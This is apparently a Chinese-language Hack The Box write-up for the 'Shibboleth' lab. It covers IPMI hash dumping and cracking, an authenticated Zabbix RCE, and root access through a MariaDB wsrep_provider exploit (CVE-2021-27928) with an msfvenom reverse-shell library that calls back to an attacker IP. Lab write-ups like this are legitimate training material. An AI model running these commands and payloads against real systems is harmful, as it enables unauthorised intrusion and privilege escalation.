HTB - Shibboleth 详细解析

392 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

0x01 Foothold

端口

nmap -Pn -sC -sV -v 10.10.11.124
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: FlexStart Bootstrap Template - Index

shibboleth.htb

主站是一个静态的前端界面,没啥搞头,然后扫描目录也无果,只能先放弃这个站点。

image-20220406192415320

尝试爆破一下子域名,发现扫出来三个子域名,指向同一个站点。

wfuzz -u http://shibboleth.htb -H 'Host: FUZZ.shibboleth.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

image-20220404111614875

zabbix.shibboleth.htb

image-20220404133312567

点击最底下的help可以跳转到如下URL,可以发现是5.0版本的zabbix,考虑google或searchsploit一下对应的exp。

https://www.zabbix.com/documentation/5.0/en

image-20220404133933409

在尝试了各种zabbix的常见漏洞后,我觉得可能我路子走错了,于是我回到主站点shibboleth.htb,然后拖到最后发现了一个Bare Metal BMC automation是我之前没有注意到的(论信息收集的重要性)。

image-20220406194739486

Google了一下能够发现zabbix的官方网站提到了IPMI,进一步在wikipedia找到了关于IPMI脆弱性的描述。

image-20220406200458500

image-20220406200704860

Rapid7的这篇文章可以在这里找到。

可以通过nmap对UDP端口进行扫描来验证开启了IPMI服务,注意的是要设置 --min-rate选项和 -F 选项,否则扫描的时间将大大增加。

sudo nmap -sU -sV - 10.10.11.124 --min-rate 7500 -F

当然Rapid7出品的msf已经集成了这个模块,首先是使用ipmi_version模块查看IPMI模块的版本。

image-20220404140914348

在确认是有漏洞的IPMI2.0后,使用ipmi_dumphashes模块对其进行hashdump。

image-20220404141019802

然后将dump的hash用hashcat进行爆破,能够得到密码是ilovepumkinpie1

hashcat.exe -a 0 -m 7300 hash "password.txt"

也就是我们现在拿到了一对凭据Administrator:ilovepumkinpie1,拿着它可以登录zabbix。

登录后看下版本号,为5.0.17,刚好能和一个授权的RCE对上。

image-20220404191218891

image-20220404191309634

执行exploit即可拿到zabbix的shell。

python3 exploit.py http://zabbix.shibboleth.htb/ Administrator ilovepumkinpie1 10.10.16.10 4444
┌──(kali㉿kali)-[~/桌面/penelope]
└─$ ./penelope.py -Q
zabbix@shibboleth:/$ whoami
zabbix
zabbix@shibboleth:/$ 

0x02 user.txt

在/home目录下有ipmi-svc用户,里面有user.txt

zabbix@shibboleth:/home$ ls
ipmi-svc

但zabbix拿不到,需要切换到ipmi-svc用户。

zabbix@shibboleth:/home/ipmi-svc$ cat user.txt 
cat: user.txt: Permission denied

切换到ipmi-svc用户后就能拿到user.txt了

zabbix@shibboleth:/$ su - ipmi-svc
Password: 
ipmi-svc@shibboleth:~$ whoami
ipmi-svc
ipmi-svc@shibboleth:~$ 
ipmi-svc@shibboleth:~$ cat user.txt
d21ead8d************************

0x03 root.txt

首先看看zabbix关于数据库的配置,根据文档得知在/etc/zabbix/zabbix_server.conf

ipmi-svc@shibboleth:~$ cd /etc/zabbix
ipmi-svc@shibboleth:/etc/zabbix$ cat zabbix_server.conf | grep -v "^#" | grep .
LogFile=/var/log/zabbix/zabbix_server.log
LogFileSize=0
PidFile=/run/zabbix/zabbix_server.pid
SocketDir=/run/zabbix
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
SNMPTrapperFile=/var/log/snmptrap/snmptrap.log
Timeout=4
AlertScriptsPath=/usr/lib/zabbix/alertscripts
ExternalScripts=/usr/lib/zabbix/externalscripts
FpingLocation=/usr/bin/fping
Fping6Location=/usr/bin/fping6
LogSlowQueries=3000
StatsAllowedIP=127.0.0.1

拿到数据库凭据zabbix:bloooarskybluh。登录之,查看数据库密码。

MariaDB [zabbix]> select alias,passwd from users;              
+---------------+--------------------------------------------------------------+
| alias         | passwd                                                       |
+---------------+--------------------------------------------------------------+
| Admin         | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 |
| guest         | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |
| Administrator | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe |
+---------------+--------------------------------------------------------------+

可惜的是这部分最后似乎没啥用,一番探索后看看MariaDB本身是否存在问题,在searchsploit中找一下相关的exp:

image-20220404195651752

然后看一下MariaDB的版本。

MariaDB [(none)]> select version();
+----------------------------------+
| version()                        |
+----------------------------------+
| 10.3.25-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
1 row in set (0.000 sec)

再去exploitdb看一下版本,可以看到是符合的。

image-20220406213348531

接着就是按照文件中的指示一步步走,首先生成so文件。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.10 LPORT=8888 -f elf-so -o CVE-2021-27928.so

然后在目标机上下载该恶意so文件。

image-20220404201654987

接着输入执行指令,获得root权限。

mysql -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

image-20220404202225630

\